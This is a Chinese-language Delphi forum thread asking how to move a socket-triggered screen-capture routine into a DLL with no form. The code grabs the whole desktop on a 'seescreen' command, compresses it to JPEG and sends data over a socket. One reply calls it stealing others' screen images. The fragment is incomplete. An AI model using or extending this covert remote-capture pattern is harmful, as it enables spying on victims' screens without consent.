抓屏幕问题(api)(10分)

  • 主题发起人 主题发起人 大狗熊
  • 开始时间 开始时间

大狗熊

Unregistered / Unconfirmed
GUEST, unregistred user!
if xxx= 'seescreen' then //抓屏存入流中

begin
case strtoint(copy(bbb,10,1)) of
1: pix:=pf1bit;
2: pix:=pf4bit;
3: pix:=pf8bit;
4: pix:=pf16bit;
else
pix:=pf24bit;
end;

bitmap:=tbitmap.Create;
jpg:=tjpegimage.Create;
desk:=tcanvas.Create;
desk.Handle:=getdc(hwnd_desktop);
dirstream:=tmemorystream.Create;
with bitmap do
begin
width:=screen.Width;
height:=screen.Height;
pixelFormat :=pix;
canvas.CopyRect(canvas.cliprect,desk,desk.cliprect);
end;
jpg.CompressionQuality :=strtoint(copy(bbb,11,length(bbb)-10));
jpg.Assign(bitmap);
jpg.SaveToStream(dirstream);
jpg.free;
bitmap.Free;
Socket.SendText('scsz'+inttostr(dirstream.Size));
end;

高手帮忙看下,这段代码如果改成无FORM的DLL中使用,应该怎么改动,USE 什么单元,论坛上都是FORM下使用的
 
晕,不压缩图象传输,只做BMP->JPG,偷人屏幕图象,想拖死机器啊!
 
hah,帮忙看下怎么弄啊
 
简单,建一个dpr文件
Program Srceen;
Uses
// 需要什么添加什么单元
begin
if xxx= 'seescreen' then //抓屏存入流中
begin
case strtoint(copy(bbb,10,1)) of
1: pix:=pf1bit;
2: pix:=pf4bit;
3: pix:=pf8bit;
4: pix:=pf16bit;
else
pix:=pf24bit;
end;

bitmap:=tbitmap.Create;
jpg:=tjpegimage.Create;
desk:=tcanvas.Create;
desk.Handle:=getdc(hwnd_desktop);
dirstream:=tmemorystream.Create;
with bitmap do
begin
width:=screen.Width;
height:=screen.Height;
pixelFormat :=pix;
canvas.CopyRect(canvas.cliprect,desk,desk.cliprect);
end;
jpg.CompressionQuality :=strtoint(copy(bbb,11,length(bbb)-10));
jpg.Assign(bitmap);
jpg.SaveToStream(dirstream);
jpg.free;
bitmap.Free;
Socket.SendText('scsz'+inttostr(dirstream.Size));
end;
end.
 
后退
顶部